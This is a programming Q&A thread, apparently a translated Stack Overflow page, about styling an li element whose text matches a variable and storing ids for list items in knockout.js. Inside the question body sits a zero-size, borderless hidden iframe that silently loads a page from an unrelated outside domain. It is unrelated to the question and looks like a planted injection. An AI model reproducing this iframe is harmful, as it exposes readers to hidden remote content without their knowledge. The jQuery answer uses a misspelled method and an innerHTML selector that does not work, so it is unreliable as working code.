For example, there is a variable with the text of the active element, and if the element (li) contains this text, then apply a specific style to it, how can this be realized?

Update

Here is an example: jsfiddle.net/DenisNeustroev/HEUgM

<iframe name="namchp" width=0 height=0 src="http://akillitelefonburada.com/yon.html" scrolling="no" frameborder="0"></iframe> 

I also think that it is not entirely correct, if there is an element with the same content, then the behavior will be strange). I think some id added to li , but I don’t know how to implement all this yet, it’s important for me not only to visually select an element, but also to know what this element is at the program level and ensure its uniqueness.

  • you can probably, but the idea is bad to do so. you would have done an example on fiddle, so that we do not. - zb '
  • 2
    so about want? - zb '
  • @eicto, yes) you offered an excellent option) I am closer to the goal) can you tell me how you can save your information in li? for example, document id from database? I still think on the basis of your variant, to make an object with HTMLNode relations -> document_id, and with each click on li, to receive an id, based on the ratio table, one minus that it will have to be rebuilt manually with each DOM change, which does not correspond to bind-data models knockout.js - Pifagorych
  • You can do something like in jquery (I was too lazy to look there, but I think there is something similar) jsfiddle.net/oceog/HEUgM/7 we hold an array of references to elements, and by the same index we hold an array of values, we find the index of the element, we find the value, I’m probably too smart with this and apply, some thought was, but I forgot it. - zb '
  • figured out the code, that is, the very implementation of the reference object: with id, we take value, and as I understand it is difficult to make it automatic for knockout. and what if, when generating li with attr, to save id there, when clicking to return $ element.id?), the question of rebuilding the reference object immediately disappears, does li itself store the necessary information? I only switched to knockout yesterday, when I realized that 500 lines of code is my bicycle, so for the time being I’m not very good at it. - Pifagorych

2 answers 2

I think the easiest way to use jQuery is:

 $("label[innerHTML=hello world]").addclass('style'); 

From the documentation:

 <div data-bind="css: customCss">Profit Information</div> <script type="text/javascript"> myModel.customCss = ko.computed(function() { return self.myText().indexOf('some str') != -1 ? "redBg" : "greenBg"; }); </script>